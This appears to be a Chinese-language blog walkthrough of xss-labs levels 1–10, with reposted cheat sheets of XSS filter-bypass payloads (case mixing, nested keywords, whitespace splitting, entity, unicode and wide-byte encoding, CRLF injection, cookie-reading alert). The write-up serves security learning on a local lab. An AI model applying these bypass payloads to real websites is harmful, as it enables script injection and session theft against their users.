跨站脚本攻击 XSS LEVEL 1

每当你打开一扇门,其它的门就随之关闭,自始至终,你都只有一条路可走

xss-labs是国内一个大佬开源的xss漏洞靶子,包含一些常见的xss攻击方法。

为了方便下载,已经保存到当前服务器下

下载地址

LAVEL 1

进入第一关卡,发现在url中传递的参数为:

name=浪子

并且页面输出浪子

可以推断页面会直接输出name对应的值,那么替换成js代码即可完成。

过关方式为:

1. http://127.0.0.1/xss/level1.php?keyword=test<script>alert('xss')</script>
2. http://127.0.0.1/xss/level1.php?name=test<img src=xxxxx onerror='alert(2)'>
3. http://127.0.0.1/xss/level1.php?name=test<svg onload='alert(1)'>
4. http://127.0.0.1/xss/level1.php?name=a<a href="javascript:alert(1)">aa</a>

总结:可以通过/<scr/ipt/>标签弹窗,可以通过标签里的onerror事件弹窗,可以通过javascript弹窗

LAVEL 2

这一关可以看到和第一关一样,也是直接输出内容,但是输出的内容在一个文本框里面。

通过查看页面的源代码,发现传递的参数输出的位置为:

因为输出的位置在一大段文字中,只需要闭合前后将js标签调用出来就行了

通过方式:

1. http://127.0.0.1/xss/level2.php?keyword="/><script>alert(1)</script>

过滤:输出点被一大段文字包围

绕过:输出点在文本框内,能够通过闭合文本框标签进行弹窗

LEVEL 3

这一关和第二关一样,都是在一大段文本中显示出你输入的参数,这个时候查看源代码,发现是单引号包围,尝试使用单引号闭合,方式:

http://127.0.0.1/xss/level3.php?keyword='/><script>alert(1)</script>

这个时候并没有想象中的弹窗,查看源代码,发现被转义了,被转义的是:

< : &lt;
> : &gt;

因为<和>被转义,那么尝试直接用被转义后的实体内容带入呢?

'&#62;&#60;script&#62;alert(1)&#60;script&#62;

还是不行,请原谅我都无知- -

查找资料

资料

两处输出都对双引号、尖括号和&进行了HTML实体编码,但前面的单引号可以被闭合,考虑使用input标签的某些事件执行脚本。

自动聚焦到输入框,打开就弹
http://47.94.13.75/test/level3.php?keyword=' onfocus='alert()' autofocus='
自动聚焦到输入框,打开就弹
http://127.0.0.1/xss/level3.php?keyword=' onfocus='alert()' autofocus='
点击页面非输入框的任何地方以移开焦点
http://127.0.0.1/xss/level3.php?keyword='  autofocus onblur='alert()
点击输入框
http://127.0.0.1/xss/level3.php?keyword=' onfocus='alert()
http://127.0.0.1/xss/level3.php?keyword='  onclick='alert()
在输入框输入
http://127.0.0.1/xss/level3.php?keyword=' oninput='alert()
输入然后点击搜索
http://127.0.0.1/xss/level3.php?keyword=' onchange='alert()
移动鼠标经过输入框
http://127.0.0.1/xss/level3.php?keyword=' onmousemove='alert()
http://127.0.0.1/xss/level3.php?keyword=' onmouseout='alert()
http://127.0.0.1/xss/level3.php?keyword=' onmouseover='alert()
点击输入框,进行按键操作
http://127.0.0.1/xss/level3.php?keyword=' onkeydown='alert()
http://127.0.0.1/xss/level3.php?keyword=' onkeyup='alert()
http://127.0.0.1/xss/level3.php?keyword=' onkeypress='alert()
双击输入框
http://127.0.0.1/xss/level3.php?keyword='  ondblclick='alert()
更多可用事件可以参考这里:https://www.w3schools.com/tags/ref_eventattributes.asp

收获:闭合标签属性的单引号并在标签中添加事件。

过滤:waf对双引号,尖括号,和&符号进行编码

绕过:此时通过标签里面的事件进行触发弹窗

收获:学到了许多在标签内的触发事件

LEVEL 4

通过上面三道题,逐渐掌握了做xss的套路,首先我们要明白,弹窗所需要的条件是什么,我梳理了一下:

  1. <
  2. (
  3. )
  4. script,on*事件,alert

以上是可以闭合前后标签,并且能弹窗的条件,如果没有任何拦截的话,直接弹窗就行,但是waf或者后台代码肯定会对这些标签要么转义,要么替换,这个有点类似sql注入,找到哪个标签被过滤,然后进行其他方式的绕过。

第四关中,我输入admin”和admin’,然后查看页面的源代码,发现都没有被过滤,然后输入/<scr/ipt/>,发现尖括号都被替换成空了,输入(aaa),发现()没有被过滤,整理一下:

过滤:<>

这样就没办法闭合标签,也没办法使用script标签或者img标签实现弹窗,但是因为在第三关中学到了在事件中on*事件触发弹窗,只需要闭合双引号即可。

http://127.0.0.1/xss/level4.php?keyword=" onclick="alert(1)

然后点击输入框,即可完成弹窗。

总结:通过输入一些弹窗的标签条件,查看源码哪些标签被过滤,然后组合其他没有被过滤的进行弹窗,这样就能诞生出自己挖掘xss的方法门路,具体实现在LEVEL 5中实现了

收获:很有必要检查闭合方式

LEVEL 5 (importance)

从level4中整理的经验,自己可以整理一下套路方法。尝试对一系列的标签进行检测,找到被过滤和没有被过滤的以及输入框的闭合形式:

闭合形式:

<input name=keyword  value="xxx"> 双引号闭合

尝试输入下面的关键标签,找到过滤与没有过滤的:

1. addd"
2. ad'
3. (aaa)
4. <aaa>
5. <script>
6. <onload>
7. <onerror>
8. adad:
9. alert
10. href
11. javascript

过滤:

script变成了scr_ipt,onerror变成了o_error

未过滤:

",',(),<>,:,alert,href

得出无法在使用script标签和on*事件进行弹窗了,我这浅薄的知识哟~我这无知的js噢~

通过查询资料,发现通过js标签可以直接弹窗,具体方法为结合/标签使用:

<a href=javascript:'alert(1)'>点我点我</a>

这个能实现弹窗,那么就能实现弹窗了,闭合前后然后弹窗:

http://127.0.0.1/xss/level5.php?keyword="> <a href=javascript:alert(1)>点我</a><

然后点击哪个【点我】,就能实现弹窗了

宝贵的总结:通过前面几关的打打杀杀,似乎领悟到了xss弹窗的诀窍呢,整理一下:

  1. 先找到闭合方式
  2. 找到过滤的标签
  3. 找到没有被过滤的标签
  4. 结合弹窗的方式利用未过滤的标签进行弹窗,有如下方式:

    直接弹窗:

    <script>alert(1)</script>
    

    在标签内事件弹窗:

    <img src=一个瞎几把地址 onerror='alert(1)'>
    
    <input value="aaa onclick="alert(1)">
    
    <svg onload='alert(1)'>
    

    通过js代码弹窗

    <input value="aaa"> <a href=javascript:alert(1)>点我</a><>
    

收获:通过javascript可以实现在a标签内弹窗

LEVEL 6 (importance)

通过第五关,感觉自己发掘了自己的XSS弹窗秘诀呢,按照套路走一次,看看闭合方式以及被过滤的标签有哪些吧:

闭合方式:

<input name=keyword  value="aaa"> 双引号闭合

过滤:

onerror会变成o\_error,<script>会变成<scr_ipt>,<a href> 会变成<a hr_ef>

未过滤:

',",(),<>,:,javascript,alert,但是发现<SCRipt>不会被过滤

那么闭合前后试一试:

a"><SCrIPT>alert(1)</SCRIpt>

完成弹窗:

http://127.0.0.1/xss/level6.php?keyword=a"><SCrIPT>alert(1)</SCRIpt>
http://127.0.0.1/xss/level6.php?keyword=admin" oNClick="alert(1)

宝贵的经验:

对LEVEL 5的套路上优化,步骤如下:

  1. 首先找到输入口闭合方式
  2. 找到被过滤的标签,尝试输入下面标签,然后看返回值哪些被过滤了:

    <script>
    <a href>
    onerror
    "alert(1)"
    'alert(1)'
    javascript:
    <img src>
    
  3. 找到被过滤的和没有过滤的,不断进行弹窗调试。

收获:使用大小写绕过过滤

LEVEL 7

根据优化的套路,慢慢到尝试哈,首先看闭合方式:

<input name=keyword  value="langzi"> 双引号闭合

过滤:

<script> 变成了 <>
<a href> 变成了 <a>
<img src> 变成了 <img>
onerror 变成了error
javacript:变成了java:

未过滤:

alert(1) 不改变
'alert(1)' 不改变
"alert(1)" 不改变
所以,没有被过滤的有alert,(),<>,',"

发现不管是任何大小写都被过滤,正当我一筹莫展的时候,突然灵机一动,菊花一麻,回忆起一个绝妙的好主意,在上传文件的时候,你上传php会被替换,但是上传pphphp的话,就会把中间的php替换成空,省下php。

结果也是这样的,因为在检查src标签的时候,一个不小心多输入了一个s,输入成ssrc,结果查看源代码发现src被替换成空,但是s还留下了。就菊花一麻想到了刚刚哪个好主意。

拿定注意,即刻构造:

"><sscriptcript>alert(1)</sscriptcript>

直接通关,美滋滋嘻嘻

http://127.0.0.1/xss/level7.php?keyword="><sscriptcript>alert(1)</sscriptcript>

收获:当大小写无法绕过的时候,发现是使用替换命名方法,将关键词替换成空,使用SSRCRC,SRSRCC这样把中间替换成空,剩下的结果就是想要的

LEVEL 8

一口气拿下两关,内心忍不住有些窃喜,到第八关的时候,按照套路流程走一波,看看闭合方式,但是发现页面有些奇怪,下面有个点击的url。

按照靶场的小心思,我可以推测过关的关键点肯定在这个下面的添加友情链接这里。

但是如果在实际场景中,按照我的尿性,应该不会太注意这个。

闭合方式:

<input name=keyword  value="x"> 双引号闭合

不管了,先试一试输入框:

过滤:

<script> 变成了 &lt;script&gt;
<a href> 变成了 &lt;a href&gt;
<img src> 变成了 &lt;img src&gt;
alert("aaa")  变成了 alert(&quot;aaa&quot;)

所以过滤了:<>,"

未过滤:

onerror 变成了 onerror
javascript: 变成了 javascript:
alert(1) 变成了  alert(1)
alert('a') 变成了 alert('a')

未过滤:onerror,alert,(),script,href,src,javascript:

感觉有凶险,因为屏蔽了双引号,输入框内无法闭合,既然无法闭合并且屏蔽就没没法使用其他标签。

这个时候发现点击友情链接位置的值发生了改变:

既然输入框没法弹窗,就从这个友情链接入手看看,因为在a标签里面,尝试使用:

<a href='javascript:alert(1)'>点我(/a)

看看,发现JavaScript被替换成了javascr_ipt,我擦,既然这样,把输出点放在友情链接的输出口,继续试一试过滤和未过滤的参数吧

闭合方式:

<a href="javascr_ipt:alert(1)">友情链接</a> 双引号闭合

过滤:

javascript:alert(1) 变成了  javascr_ipt:alert(1)
<script> 变成了 <scr_ipt>  好消息,<>没有被过滤
onerror  变成了 on_error
" 双引号被过滤

未过滤:

alert(1) 变成了 alert(1)
<>没有被过滤
' 没有过滤

试了半天真的发现不了,最后从网上找到了过关的方式,使用javaScript变换(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)的办法绕过,这里必须在浏览器直接执行

http://127.0.0.1/xss/level8.php?keyword=javas%09cript:alert()
http://127.0.0.1/xss/level8.php?keyword=javas%0acript:alert()
http://127.0.0.1/xss/level8.php?keyword=javas%0dcript:alert()

收获:通过特殊的制表符逃过检测,网页如果有多个输出点的时候,可以尝试对不同输出点判断

LEVEL 9

这一关和上一关感觉差不多,但是友链输出点感觉做了限制:

先把突破点放在友情链接上,输入

http://

发现可以在友链中显示出来,少了一个符号都不行,我都老天鹅啊~

突然我灵机一动,写个一段html代码,保存到我都服务器的中,内容为:

<html>
<script>alert(1)</script>
</html>

然后点击添加友链:

http://127.0.0.1/xss/level9.php?keyword=http://www.langzi.fun/upload/xss.html

点击友情链接,虽然弹框了,但是并没有提示通关成功的通知,看来方向错了噢

所以说,人一旦方向错了,就成傻逼了,目标会检测输入框中有没有

http://

这个关键词,那么只要输入的参数有这个关键词即可,直接用上一次的代码,把弹窗内容改成关键词不就行了吗,我真是个睿智啊哦我擦

http://127.0.0.1/xss/level9.php?keyword=javas%0dcript:alert('http://')

LEVEL 10

这一关比较细节,尝试使用keyword做关键词搜索,输出点在网页的文本:

http://127.0.0.1/xss/level10.php?keyword=1

按照套路走一波流程,运行上面的所有技巧都没办法在一大段文本中实现弹窗,只能把目光放在下面的参数中:

写过前端的小伙伴对这样一定不陌生,发现下面有三个输入点,分别进行尝试:

http://127.0.0.1/xss/level10.php?t_link=111
http://127.0.0.1/xss/level10.php?t_history=111
http://127.0.0.1/xss/level10.php?t_sort=111

发现第三个参数会在页面输出内容(要通过查看源代码),继续按照套路走一次:

闭合方式:

<input name="t_sort"  value="111" type="hidden"> 双引号闭合

过滤:

<script> 变成了 script
<a href> 变成了 a href
<img src> 变成了 img src

过滤了<>

未过滤:

alert('1') 变成了  alert('1')
alert("1")  变成了  alert("1")
javascript:  变成了 javascript:
onclikc  变成了onclick

未过滤',",(),script,a href,img src,javascript:

这样就可以通过事件来触发,但是因为页面中没有输出,也就是说你没法通过点击在执行弹窗,这个时候html的功底就显现出来了,如何在标签中加上输入框和按钮?

<input name="t_sort"  value="xx type=button" type="hidden">

<input name="t_sort"  value="xx type=text" type="hidden">

也就是说可以通过下面方式触发:

" onclick=alert(1) type="button 
" onclick=alert(1) type="text

点击输入框和按钮完成弹窗

http://127.0.0.1/xss/level10.php?t_sort=" onclick=alert(1) type="text
http://127.0.0.1/xss/level10.php?t_sort=" onclick=alert(1) type="button 

梳理知识

按照一系列的小打小闹,还算不错得到了一些自己的套路的经验。

首先查找可控输入点与输出点

有的时候会在url中控制输入点,有的时候会在输入框中,甚至有些时候还要查看源码,自己构建输入点的url。

查找输出点的时候,务必要查看网页的源代码,找到输出点的位置。

如果输出点是在标签或者文本内,需要想办法试一试闭合。

查找被过滤的参数

比如在Firefox浏览器中,查看网页源代码:

view-source:http://127.0.0.1/xss/level11.php?t_sort=alert("1")

然后查看输出点,输出内容为:

<input name="t_sort"  value="alert(&quot;1&quot;)" type="hidden">

判断双引号被过滤了,下面列出来一些弹窗常用的必备参数

1. <script>  # <|script|>
2. <a href>  # a href
3. <img src> # img|src|
4. on*,比如onclick,onerror..# on*系列
5. alert('1') # alert|(|'|)
6. alert("1") # "
7. javascript: # javascript|:

|分割表示其中包含的关键参数

找出哪些过滤,哪些没有过滤,过滤了的想办法绕过

弹窗

直接弹窗:

    <script>alert(1)</script>

在标签内事件弹窗:

    <img src=一个瞎几把地址 onerror='alert(1)'>

    <input value="aaa onclick="alert(1)">

    <svg onload='alert(1)'>

通过js代码弹窗

    <input value="aaa"> <a href=javascript:alert(1)>点我</a><>

常见的绕过

  1. 大小写绕过
  2. 重复文件名绕过,比如sscriptcript
  3. javascript中(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)
  4. 如果页面的编码为gb*,即只要不是utf-8编码的,尝试宽字节注入
  5. 使用 ` 代替括号
  6. HTML转义,在上面说到的实体名称和编号就是一个例子,比如:

    <a href="javascript:alert(1)">s</a>
    

转义成:

<a href="javascript:&#97;&#108;&#101;&#114;&#116;&#40;1&#41;">s</a>
  1. 当js解释器在标识符名称(例如函数名,属性名等等)中遇到unicode编码会进行解码,并使其标志符照常生效。而在字符串中遇到unicode编码时会进行解码只会被当作字符串。注意:使用unicode编码之前要确定对方有没有过滤\。即:

将:

<script>alert(1)</script>

转成:

<script>\u0061\u006c\u0065\u0072\u0074(1)</script>

转载 技巧 1

来源

对付那种无任何过滤的
    <img src=1 onerror=alert(document.cookie)>
    <script>alert("xss")</script>
    <script>eval(alert('xss'))</script>
    <a href="javascript:localhoin=alert(1)">GO</a>

输出在&lt;script&gt;&lt;/script&gt;之间的情况(意思就是你在script里面,得把前面的闭合了在注入语句,然后因为你在script里面直接输入语句即可)
    先闭合上一个script然后在注入恶意代码:</script><script>alert("xss")
    如果<,>,/等符号被过滤了可以用:eval(alert(1)) #eval()函数用于直接执行代码 参考:http://www.runoob.com/jsref/jsref-eval.html

输出在其他标签里面
    注意:html转义后在标签的属性中会其到一定的绕过作用 参考文章:https://www.cnblogs.com/iceli/p/8598709.html
     当浏览器接受到一份HTML代码后,会对标签之间(<p>xxx</p>等,<script>除外)、标签的属性中(<a href='xxxx'>)进行实体字符解码变为相应的字符,而不会发挥出其本来该有的功能,如:&#60;被解码为<后仅被当作字符,而不会被当成标签名的起始。既然是字符串,那在href='xx'这些属性值本来就是字符串的地方可以作为一种可能的绕过的手段。如:
        <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;"></a>
    如在<input>里,解决办法:<input type="text" value="" onclick="alert(1)">
    出现在a标签的href里面,类似于:<a href="javascript:wds=''http://www.dddd.com".getElementById('ddd').value+'&g=<你输入的值>'>
    由于在href里面,可以使用javascript。就构造<a href="javascript:wds=''http://www.dddd.com".getElementById('ddd').value+'&g=alert(1)'>
    如果单引号等字符被过滤的话,使用:<a href="javascript:wds=''http://www.dddd.com".getElementById('ddd').value+'&g=alert&#x28;1&#x29'> //实体化被过滤的符号

 宽字节xss:
    如果页面用了gbk编码的话,可以用对应的编码进行编码被过滤的符号导致可以绕过过滤

 空格被实体化过滤
    注解:javascript的注释符为/**/ , //
    当空格被过滤后,使用注释符来绕过。例子:
    location.href="........."+"&ss=aaaa\"+"&from==1;function/**/from(){}//"+"&param=";
    location.href="........."+"&ss=aaaa\"+"&from==1;alert(1);function/**/from(){}//"+"&param=";

转载 技巧 2

来源

XSS绕过常用方法
1、大小写绕过
<ScRIpT>alert('123')</sCRIpT>

2、编码绕过
1.十六进制编码
2.jsfuck编码
3.url编码
4.unicode编码
<0x736372697074>alert('123')</0x736372697074>

<img src="1" onerror="alert&#x28;1&#x29;">

3、绕过magic_quotes_gpc
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

4、标签
闭合标签

"><script>alert(/123/)</script>

</script><script>alert(1)</script>

标签绕过

<img src="x" onerror="alert(1)">

<button onclick="javascript:alert('xss')>XSS</button">

<title><img a="</title><img/src=1 onerror=alert(1)//">

"onsubmit=javascript:alert(1)%20name="a

<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">

<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=$('body').prepend(123);$('body')></video>

5、其他符号绕过
%0a         替换空格

%0d         替换空格

/**/          替换空格

%00          截断

``              替换括号

6、双字符绕过
<img ononerrorerror="123">

<script>alalertert(123)</script>

7、宽字节绕过
gbxxxx系列的编码,那么我们尝试一下宽字节  %c0,%bf,%5c,%df
8、其他事件绕过
onload

onclick

onerror

prompt

confirm

onmousemove

9、CRLF injection绕过
CRLF是”回车 + 换行”(\r\n)的简称。

http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>

一些技巧

  1. 如果页面没有输入框,但是又能触发xss,可以在标签中插入:

    type=button
    type=text
    

来自己构造输入框,按钮。

  1. 有的时候cookie,或者请求头会存在xss漏洞。

优质XSS教程

secplus xss总结

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%